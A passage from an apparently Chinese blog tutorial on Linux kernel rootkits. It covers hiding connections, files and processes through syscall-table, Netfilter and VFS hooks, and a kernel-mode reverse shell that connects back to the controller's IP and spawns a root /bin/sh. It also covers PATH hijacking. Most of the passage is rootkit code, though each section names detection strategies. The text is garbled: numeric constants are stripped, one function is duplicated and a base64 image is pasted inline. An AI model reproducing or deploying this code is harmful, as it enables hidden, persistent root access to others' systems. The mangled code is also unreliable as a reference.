过滤(屏蔽)掉指定的tcp连接状态
*/
if(strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ)
{
seq->count -= TMPSZ;
} return retval;
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 使用VFS Hooking的逆向思路,通过检查/proc/net/tcp->seq_show(操作句柄)是否位于内核text节区中来判断是否发生了VFS劫持
0x2: Network Communication Hidden Based On Netfilter Callback Function Register
Netfilter是linux提供的一种网络连接状态监控机制,Netfilter运行在内核态,并在链式处理流程的关键位置提供了注册回调点,方便内核开发人员开发基于网络连接监控的应用
关于netfilter的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/3708222.html
code
/*
1. 置netfilter回调监控函数的相关信息
*/
int netfilter_test_init(void)
{
nfho.hook = hook_func;
nfho.owner = NULL;
nfho.pf = PF_INET;
//NF_IP_PRE_ROUTING: 在数据报进入内核协议栈进行处理之前注册回调点
nfho.hooknum = NF_IP_PRE_ROUTING;
nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return ;
} /*
2. 将设置好的hook函数注册到netfilter的回调点上
*/
int nf_register_hook(struct nf_hook_ops *reg)
{
struct nf_hook_ops *elem;
int err; err = mutex_lock_interruptible(&nf_hook_mutex);
if (err < )
{
return err;
}
list_for_each_entry(elem, &nf_hooks[reg->pf][reg->hooknum], list)
{
if (reg->priority < elem->priority)
{
break;
}
}
list_add_rcu(®->list, elem->list.prev);
mutex_unlock(&nf_hook_mutex);
#if defined(CONFIG_JUMP_LABEL)
static_key_slow_inc(&nf_hooks_needed[reg->pf][reg->hooknum]);
#endif
return ;
} /*
3. 在监控函数中hook_funcn中,通过监控关键字"TCP_SHELL_KEY",实现无连接方式shell激活(告诉rootkit lkm现在可以准备开始启动反向连接shell了)
*/
..
if ((p = strstr(data, TCP_SHELL_KEY)) != NULL)
{
..
//获取激活包发送方的IP地址(即反向连接的目的地:肉鸡的主控方的IP地址)
myowner_ip = sk->nh.iph->saddr;
..
//获取激活包发送方的端口(即反向连接的目的地:肉鸡的主控方所监听的socket端口)
connect_port = wnps_atoi(port);
..
//这个标识表示当前已经开启反向连接激活模式
wztshell = ;
..
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 定位struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS]
) 通过kj_kernel_symbol_lookup直接得到nf_hooks的内核地址
) 通过/proc/kallsyms得到nf_hooks的内核地址
. 通过遍历循环双链表枚举结构体数组的每一项
. 获得每一个注册函数的钩子,并判断其所属的模块(通过__module_address()进行反向定位)
. 如果定位失败则说明当前钩子函数为恶意模块注册的hook函数
Relevant Link:
http://www.docin.com/p-53234562.html
5. File Hidden
0x1: File Hidden Based On Replace Hook sys_open、sys_access system call
在使用LD_PRELOAD技术向Linux下所有启动中的进程注入.so文件进行hook,由于LD_PRELOAD是操作系统原生提供的机制,我们无法从Ring3应用层来控制hook注入的过滤,要达到针对某些特定进程不进行hook操作,需要配合Ring0层驱动来进行实现
. 对sys_open进行hook . 判断当前进程
(current->comm == target_process)
{} . 判断当前打开文件
//long my_sys_open(const char __user *filename, int flags, int mode)
if(filename == "/etc/ld.so.preload" || filename == "target_so_path")
{
//重定向(重新赋值)filename
filename = "new_so_path";
}
或者对sys_access进行hook,让目标进程access("/etc/ld.so.preload", R_OK)的时候执行失败,达到绕过加载Hook SO的情况 . 则将filename指针重定向指向另一个空的、格式正确的空壳.so文件 . 完成这步操作之后,指定目标进程在根据LD_PRELOAD路径打开的.so文件就是一个没有任何hook功能的空壳文件
code
#include <linux/module.h>
#include <linux/init.h>
#include <linux/types.h>
#include <asm/uaccess.h>
#include <asm/cacheflush.h>
#include <linux/syscalls.h>
#include <linux/delay.h> // loops_per_jiffy
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/fs.h>
#include <linux/fcntl.h>//for O_RDONLY
#include <linux/limits.h>//for PATH_MAX
#include <linux/mount.h>
#include <linux/fdtable.h>
#include <linux/stat.h>
#include <linux/namei.h>
#include <linux/sched.h> #define CR0_WP 0x00010000 // Write Protect Bit (CR0:16)
#define BUF_SIZE 1024 /* Just so we do not taint the kernel */
MODULE_LICENSE("GPL"); void **syscall_table;
unsigned long **find_sys_call_table(void); long (*orig_sys_open)(const char __user *filename, int flags, int mode);
long (*ori_sys_access)(const char __user *filename, int mode); unsigned long **find_sys_call_table()
{
unsigned long ptr;
unsigned long *p; for (ptr = (unsigned long)sys_close; ptr < (unsigned long)&loops_per_jiffy; ptr += sizeof(void *))
{
p = (unsigned long *)ptr; if (p[__NR_close] == (unsigned long)sys_close)
{
printk(KERN_DEBUG "Found the sys_call_table!!!\n");
return (unsigned long **)p;
}
} return NULL;
} unsigned long getInodeIDbyFilename(const char *filename)
{
unsigned long proc_ino = ; struct file *filp = filp_open(filename, O_RDONLY, );
if( !IS_ERR(filp) )
{
proc_ino = filp->f_dentry->d_inode->i_ino;
filp_close(filp, );
}
else
{
proc_ino = ;
} return proc_ino;
} long my_sys_open(const char __user *filename, int flags, int mode)
{
long ret;
unsigned long target_so_path_ino;
unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[] = {};
char buffer_filename[] = {};
char current_process[] = {}; //将用户态的filename拷贝到内核态,防止出现panic
copy_from_user((char *)buffer_filename, filename, ); //设置要修复的目标受保护路径
sprintf(target_so_path, "/home/zhenghan.zh/target.so");
//获取当前调用进程名
sprintf(current_process, current->comm);
printk("current_process: %s opening: %s\n", current_process, buffer_filename); //获取指定路径的inode id
current_proc_ino = getInodeIDbyFilename(buffer_filename);
target_so_path_ino = getInodeIDbyFilename(target_so_path); //如果是tubo进程
if ( strcmp(current_process, "test") == )
{
//匹配当前打开文件路径
if ( (current_proc_ino == target_so_path_ino) )
{
//重定向当前打开文件的
ret = orig_sys_open(new_filename, flags, mode);
}
else
{
ret = orig_sys_open(filename, flags, mode);
}
}
else
{
ret = orig_sys_open(filename, flags, mode);
} return ret;
} long my_sys_open(const char __user *filename, int flags, int mode)
{
long ret;
unsigned long target_so_path_ino;
unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[] = {};
char buffer_filename[] = {};
char current_process[] = {}; //将用户态的filename拷贝到内核态,防止出现panic
copy_from_user((char *)buffer_filename, filename, ); //设置要修复的目标受保护路径
sprintf(target_so_path, "/home/zhenghan.zh/target.so");
//获取当前调用进程名
sprintf(current_process, current->comm);
printk("current_process: %s opening: %s\n", current_process, buffer_filename); //获取指定路径的inode id
current_proc_ino = getInodeIDbyFilename(buffer_filename);
target_so_path_ino = getInodeIDbyFilename(target_so_path); //如果是tubo进程
if ( strcmp(current_process, "test") == )
{
//匹配当前打开文件路径
if ( (current_proc_ino == target_so_path_ino) )
{
//重定向当前打开文件的
ret = orig_sys_open(new_filename, flags, mode);
}
else
{
ret = orig_sys_open(filename, flags, mode);
}
}
else
{
ret = orig_sys_open(filename, flags, mode);
} return ret;
} long my_sys_access(const char __user *filename, int mode)
{
long ret;
unsigned long target_so_path_ino;
unsigned long current_proc_ino; const char *new_filename = "/home/zhenghan.zh/hook.so"; char target_so_path[] = {};
char buffer_filename[] = {};
char current_process[] = {}; //将用户态的filename拷贝到内核态,防止出现panic
copy_from_user((char *)buffer_filename, filename, ); //设置要修复的目标受保护路径
sprintf(target_so_path, "/home/zhenghan.zh/target.so");
//获取当前调用进程名
sprintf(current_process, current->comm);
printk("current_process: %s opening: %s\n", current_process, buffer_filename); //获取指定路径的inode id
current_proc_ino = getInodeIDbyFilename(buffer_filename);
target_so_path_ino = getInodeIDbyFilename(target_so_path); //如果是tubo进程
if ( strcmp(current_process, "test") == )
{
//匹配当前打开文件路径
if ( (current_proc_ino == target_so_path_ino) )
{
//重定向当前打开文件的
ret = orig_sys_open(new_filename, flags, mode);
}
else
{
ret = ori_sys_access(filename, mode);
}
}
else
{
ret = ori_sys_access(filename, mode);
} return ret;
} static int __init syscall_init(void)
{
int ret;
unsigned long addr;
unsigned long cr0; syscall_table = (void **)find_sys_call_table(); if (!syscall_table)
{
printk(KERN_DEBUG "Cannot find the system call address\n");
return -;
} cr0 = read_cr0();
write_cr0(cr0 & ~CR0_WP); //将syscall_table附近的3个内存页(page)的内存页面的读写权限打开,
addr = (unsigned long)syscall_table;
ret = set_memory_rw(PAGE_ALIGN(addr) - PAGE_SIZE, );
if(ret)
{
printk(KERN_DEBUG "Cannot set the memory to rw (%d) at addr %16lX\n", ret, PAGE_ALIGN(addr) - PAGE_SIZE);
}
else
{
printk(KERN_DEBUG "3 pages set to rw");
} orig_sys_open = syscall_table[__NR_open];
ori_sys_access = syscall_table[__NR_access]; syscall_table[__NR_open] = my_sys_open;
syscall_table[__NR_access] = my_sys_access; write_cr0(cr0); return ;
} static void __exit syscall_release(void)
{
unsigned long cr0; cr0 = read_cr0();
write_cr0(cr0 & ~CR0_WP); syscall_table[__NR_open] = orig_sys_open;
syscall_table[__NR_access] = ori_sys_access; write_cr0(cr0);
} module_init(syscall_init);
module_exit(syscall_release);
0x2: File Hidden Based On Hajaking sys_getdents64 System Call
在系统调用劫持(Syscall Hijack)的基础上,通过劫持Sys_getdents64可以达到文件隐藏、进程隐藏的目的。这里的关键在于
. linux下的进程枚举
) ps
) top
. linux下目录、文件枚举
) ll
) ls
这些系统指令到了内核系统调用这个层面,全都需要通过"getdents64"这个系统调用进行实现
我们在劫持了Sys_getdents64系统调用之后,在劫持函数中加入判断逻辑,对指定的要隐藏的进程或者文件进行"清空buf(清空保存进程或目录枚举项的结构体缓冲区)"
code
/*
1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48)); /*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + *0x80);
system_call_addr = (pIdt80->offset_high << | pIdt80->offset_low); /*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址)
*/ /*
4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read];
orig_getdents64 = sys_call_table[__NR_getdents64]; /*
5. we get the orig information by orig_getdents64
*/
struct dirent64 *td1, *td2;
ret = (*orig_getdents64) (fd, dirp, count);
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
//copy the dirp struct to kernel space
__copy_from_user(td2, dirp, ret); /*
6. 隐藏对当前进程的枚举
1) 通过current宏获取当前进程号
2) 从dirent64获取当前正在枚举的进程号(d_name)
3) 如果相等则说明需要隐藏
4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/
/*
7. 隐藏对指定特征文件的枚举
1) 从dirent64获取当前正在枚举的文件名(d_name)
2) 和我们配置的文件名特征码(例如wnps_)作比较
3) 如果命中则说明需要隐藏
4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/
asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
struct dirent64 *td1, *td2;
long ret, tmp;
unsigned long hpid, nwarm;
short int hide_process, hide_file; /* first we get the orig information */
ret = (*orig_getdents64) (fd, dirp, count);
if (!ret)
{
return ret;
}
/* get some space in kernel */
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
if (!td2)
{
return ret;
}
/* copy the dirp struct to kernel space */
__copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret;
while (tmp > )
{
tmp -= td1->d_reclen;
hide_file = ;
hide_process = ;
hpid = ;
hpid = simple_strtoul(td1->d_name, NULL, ); /*
If we got a file like digital,it may be a task in the /proc.
So check the task with the task pid.
*/
if (hpid != )
{
struct task_struct *htask = current;
do
{
if(htask->pid == hpid)
{
break;
}
else
{
htask = next_task(htask);
} } while (htask != current); /* we get the task which will be hide */
if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL)))
{
hide_process = ;
}
} if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL))
{
ret -= td1->d_reclen;
hide_file = ;
/* we cover the task information */
if (tmp)
{
memmove(td1, (char *) td1 + td1->d_reclen, tmp);
}
}
/* we hide the file */
if ((tmp) && (hide_file))
{
td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
}
}
nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2); return ret;
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
) KJ_SYSCALL_TABLE_SYM
) KJ_MODULE_KSET_SYM
) KJ_CORE_KERN_TEXT_SYM
0x3: File Hidden Based On Directory Operation Handler Hooking(VFS Hook)
VFS Hooking技术的层次位于Kernel Hooking的上层(也意味着它的隐藏效果会更差一点),但是我们也必须明白,攻防技术并不是绝对的,关键是我们需要明确我们所使用的技术所在的层次、能做到什么、不能做到什么、有哪些特性和限制
关于VFS技术,我们需要简单了解下几个基本的概念
. 虚拟文件系统,它为应用程序员提供一层抽象,屏蔽底层各种文件系统的差异。Linux的文件系统采用面向对象的方式设计,这使得Linux的文件系统非常容易扩展,我们可以非常容易将一个新的文件系统添加到Linux中
. 在linux中所有的设备、磁盘文件都被抽象为"文件"看待,即"一切皆文件"
. 结构体file_operations在头文件 linux/fs.h中定义
用来存储驱动内核模块提供的对设备进行各种操作的函数的指针。该结构体的每个域都对应着驱动内核模块用来处理某个被请求的事务的函数的地址
struct file_operations
{
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, struct dentry *, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
};
VFS Hooking技术的核心思想就是通过替换、以此达到在文件系统这个层面劫持系统的目录隐藏、进程隐藏、网络状态隐藏
code
/*
1. 新建一个666权限的/proc/wnps目录
*/
proc_rtkit = create_proc_entry("wnps", , NULL);
if (proc_rtkit == NULL)
{
return ;
} /*
2. 通过新创建的/proc/wnps获取父目录
*/
proc_root = proc_rtkit->parent;
if (proc_root == NULL || strcmp(proc_root->name, "/proc") != )
{
return ;
} /*
3. 设置内存页可读可写,保存原始操作句柄,并替换/proc目录的枚举函数句柄(readdir)
*/
proc_fops = ((struct file_operations *) proc_root->proc_fops);
proc_readdir_orig = proc_fops->readdir;
set_addr_rw(proc_fops);
proc_fops->readdir = proc_readdir_new;
set_addr_ro(proc_fops); /*
4. 在劫持函数中加入文件名判断逻辑,对符合文件名特征的枚举动作进行过滤
*/
if (hide_files && (!strncmp(name, "__rt", ) || !strncmp(name, "10-__rt", )))
{
return ;
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 使用VFS Hooking的逆向思路,通过检查/proc->f_op->readdir(操作句柄)是否位于内核text节区中来判断是否发生了VFS劫持
Relevant Link:
http://www.cnblogs.com/yuyijq/archive/2013/02/24/2923855.html
0x4: File Hidden Based On LSM Transparent Encryption(LSM透明过滤文件系统)
直接进行Linux systemcall table replace hook需要面临不同Linux Kernel版本、32/64 bit的兼容性问题。为了解决这个问题,使用Linux内核原生代码级支持的LSM(Linux Security Modules)技术是一个更好的选择
LSM Hook Point可以使用以下几个
. security_file_permission: 对文件的操作权限进行审计
int security_file_permission(struct file *file, int mask);
http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1581
http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L526
/*
vfs_readdir() -> security_file_permission()
*/ . security_dentry_open: 对文件的open操作进行审计
int security_dentry_open(struct file *file);
http://lxr.free-electrons.com/source/include/linux/security.h?v=2.6.25#L1596
http://lxr.free-electrons.com/source/security/security.c?v=2.6.25#L585
/*
sys_open/sys_openat -> do_sys_open -> do_filp_open -> path_openat -> do_last -> nameidata_to_filp -> __dentry_open() -> security_dentry_open()
*/
关于LSM的相关知识,请参阅另一篇文章
http://www.cnblogs.com/LittleHann/p/4134939.html
Relevant Link:
http://tech.sina.com.cn/s/s/2008-12-23/09062681645.shtml
0x5: File Hidden Based On TOMOYO
对于TOMOYO,和文件读写访问控制相关的Hook Point是
static int tomoyo_file_open(struct file *f, const struct cred *cred)
{
int flags = f->f_flags;
/* Don't check read permission here if called from do_execve(). */
if (current->in_execve)
return ;
return tomoyo_check_open_permission(tomoyo_domain(), &f->f_path, flags);
}
Relevant Link:
http://lxr.free-electrons.com/source/security/tomoyo/tomoyo.c#L329
6. Process Hidden
0x1: Process Hidden Based On Hajaking Sys_getdents64
code
/*
1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48)); /*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + *0x80);
system_call_addr = (pIdt80->offset_high << | pIdt80->offset_low); /*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址)
*/ /*
4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read];
orig_getdents64 = sys_call_table[__NR_getdents64]; /*
5. we get the orig information by orig_getdents64
*/
struct dirent64 *td1, *td2;
ret = (*orig_getdents64) (fd, dirp, count);
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
//copy the dirp struct to kernel space
__copy_from_user(td2, dirp, ret); /*
6. 隐藏对当前进程的枚举
1) 通过current宏获取当前进程号
2) 从dirent64获取当前正在枚举的进程号(d_name)
3) 如果相等则说明需要隐藏
4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/
/*
7. 隐藏对指定特征文件的枚举
1) 从dirent64获取当前正在枚举的文件名(d_name)
2) 和我们配置的文件名特征码(例如wnps_)作比较
3) 如果命中则说明需要隐藏
4) 对当前dirent64的指定数据区域进行清空(置零),即起到隐藏的目的
*/
asmlinkage long Sys_getdents64(unsigned int fd, struct dirent64 *dirp, unsigned int count)
{
struct dirent64 *td1, *td2;
long ret, tmp;
unsigned long hpid, nwarm;
short int hide_process, hide_file; /* first we get the orig information */
ret = (*orig_getdents64) (fd, dirp, count);
if (!ret)
{
return ret;
}
/* get some space in kernel */
td2 = (struct dirent64 *) kmalloc(ret, GFP_KERNEL);
if (!td2)
{
return ret;
}
/* copy the dirp struct to kernel space */
__copy_from_user(td2, dirp, ret); td1 = td2, tmp = ret;
while (tmp > )
{
tmp -= td1->d_reclen;
hide_file = ;
hide_process = ;
hpid = ;
hpid = simple_strtoul(td1->d_name, NULL, ); /*
If we got a file like digital,it may be a task in the /proc.
So check the task with the task pid.
*/
if (hpid != )
{
struct task_struct *htask = current;
do
{
if(htask->pid == hpid)
{
break;
}
else
{
htask = next_task(htask);
} } while (htask != current); /* we get the task which will be hide */
if (((htask->pid == hpid) && (strstr(htask->comm, HIDE_TASK) != NULL)))
{
hide_process = ;
}
} if ((hide_process) || (strstr(td1->d_name, HIDE_FILE) != NULL))
{
ret -= td1->d_reclen;
hide_file = ;
/* we cover the task information */
if (tmp)
{
memmove(td1, (char *) td1 + td1->d_reclen, tmp);
}
}
/* we hide the file */
if ((tmp) && (hide_file))
{
td1 = (struct dirent64 *) ((char *) td1 + td1->d_reclen);
}
}
nwarm = __copy_to_user((void *) dirp, (void *) td2, ret);
kfree(td2); return ret;
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
) KJ_SYSCALL_TABLE_SYM
) KJ_MODULE_KSET_SYM
) KJ_CORE_KERN_TEXT_SYM
7. Hidden Port Remote Reverse Connections
0x1: Reverse Socket Connections In Kernel Mode By TCP Package Flag Activation
基于"4.0x2: Network Communication Hidden Based On Netfilter Callback Function Register"隐蔽通道激活之后,当前系统已经进入激活状态,随时可以开始向远程主机发起反向连接
code
/*
1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编)
*/
asm("sidt %0":"=m"(idt48)); /*
2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移)
*/
pIdt80 = (struct descriptor_idt *)(idt48.base + *0x80);
system_call_addr = (pIdt80->offset_high << | pIdt80->offset_low); /*
3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址)
*/ /*
4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行)
*/
orig_read = sys_call_table[__NR_read];
orig_getdents64 = sys_call_table[__NR_getdents64];
..
替换sys_call_table[__NR_read]的函数指针,达到劫持read()系统调用的目的 /*
5. 在sys_read(hook系统调用函数)中部署内核态反向socket连接,值得注意的是,这个反向shell还附带了一个root权限的交互式shell
*/
kshell(myowner_ip,myowner_port);
int kshell(int ip,int port)
{
..
sock_create(AF_INET,SOCK_STREAM,,&sock);
..
sock->ops->connect(sock,(struct sockaddr *)&server,len,sock->file->f_flags);
..
get_pty();
..
if (!(tmp_pid = fork()))
{
start_shell();
}
..
}
//get_pty - create a pseudo terminal.
int get_pty(void)
{
char buf[];
int npty, lock = ; ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); ioctl(ptmx, TIOCGPTN, (unsigned long) &npty);
ioctl(ptmx, TIOCSCTTY,(unsigned long) &npty);
ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); sprintf(buf, "/dev/pts/%d", npty);
npty = open(buf, O_RDWR, S_IRWXU); return npty;
}
//strat_shell - use system call 'exevce' to get a root shell.
void start_shell(void)
{
struct task_struct *ptr = current;
mm_segment_t old_fs; old_fs = get_fs();
set_fs(KERNEL_DS); ptr->uid = ;
ptr->euid = ;
ptr->gid = SGID;
ptr->egid = ; dup2(epty, );
dup2(epty, );
dup2(epty, ); chdir(HOME); execve("/bin/sh", (const char **) earg, (const char **) env); e_exit(-);
}
攻击前提
. 黑客已经获取了root帐号的权限
. 黑客能够有权限执行insmod加载LKM驱动
防御策略
. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中
Detect any syscall address from the global table that is outside kernel text section
) KJ_SYSCALL_TABLE_SYM
) KJ_MODULE_KSET_SYM
) KJ_CORE_KERN_TEXT_SYM
8. Programe Replacing
0x1: Ring3 Programe Hijaking Based On Linux Path Hijaking
所谓路径劫持技术,本质上就是利用Linux默认指令程序搜索顺序的特性而发动的攻击,一般情况下,我们在命令行会直接输入指令而不带完整路径
aaarticlea/png;base64,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" alt="" />
而实际上,linux会按照一个预定的顺序去搜索这个指令对应的程序
. 当前目录
. 如果当前目录不存在,则按照PATH路径进行搜索
